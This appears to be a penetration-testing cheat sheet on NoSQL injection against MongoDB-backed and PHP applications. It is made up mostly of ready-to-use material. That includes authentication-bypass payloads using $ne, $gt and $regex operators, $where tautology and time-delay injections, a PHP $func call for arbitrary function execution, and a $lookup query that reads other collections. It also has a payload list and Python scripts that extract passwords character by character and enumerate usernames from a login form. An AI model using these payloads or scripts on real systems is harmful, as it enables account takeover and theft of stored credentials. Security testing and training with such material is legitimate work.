NoSQL injection

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Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

bash
username[$ne]=1$password[$ne]=1 #<Not Equals> username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value username[$eq]=admin&password[$ne]=1 #<Equals> username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users username[$ne]=admin&pass[$gt]=s #<Greater Than> username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin) { $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

bash
#in URL username[$ne]=toto&password[$ne]=toto username[$regex]=.*&password[$regex]=.* username[$exists]=true&password[$exists]=true #in JSON {"username": {"$ne": null}, "password": {"$ne": null} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

javascript
query = { $where: `this.username == '${username}'` }

An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.

Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a

Extract length information

bash
username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} # True if the length equals 1,3...

Extract data information

in URL (if length == 3) username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=b.{2} ... username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp username[$ne]=toto&password[$regex]=m.* username[$ne]=toto&password[$regex]=md.* in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password /?search=admin' && this.password && this.password.match(/^a.*$/)%00 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 /?search=admin' && this.password && this.password.match(/^c.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

python
"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.

NOTE: $lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.

json
[ { "$lookup": { "from": "users", "as": "resultado", "pipeline": [ { "$match": { "password": { "$regex": "^.*" } } } ] } } ]

MongoDB Payloads

List from here

true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 || 1==1// || 1==1%00 }, { password : /.*/ } ' && this.password.match(/.*/index.html)//+%00 ' && this.passwordzz.match(/.*/index.html)//+%00 '%20%26%26%20this.password.match(/.*/index.html)//+%00 '%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00 {$gt: ''} [$ne]=1 ';sleep(5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} {"username": {"$gt":""}, "password": {"$gt":""}} {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

python
import requests, string alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(21): print("[i] Looking for char number "+str(i+1)) for char in alphabet: r = requests.get("http://chall.com?param=^"+flag+char) if ("<TRUE>" in r.text): flag += char print("[+] Flag: "+flag) break
python
import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(u, data = {'ids': payload}, verify = False) if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

python
import requests import string url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} password = "^" while True: for c in possible_chars: params["password[$regex]"] = password + c + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) if int(pr.status_code) == 302: password += c break if c == possible_chars[-1]: print("Found password "+password[1:].replace("\\", "")+" for username "+username) return password[1:].replace("\\", "") def get_usernames(prefix): usernames = [] params = {"username[$regex]":"", "password[$regex]":".*"} for c in possible_chars: username = "^" + prefix + c params["username[$regex]"] = username + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) if int(pr.status_code) == 302: print(username) for user in get_usernames(prefix + c): usernames.append(user) return usernames for u in get_usernames(""): get_password(u)

Tools

References

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Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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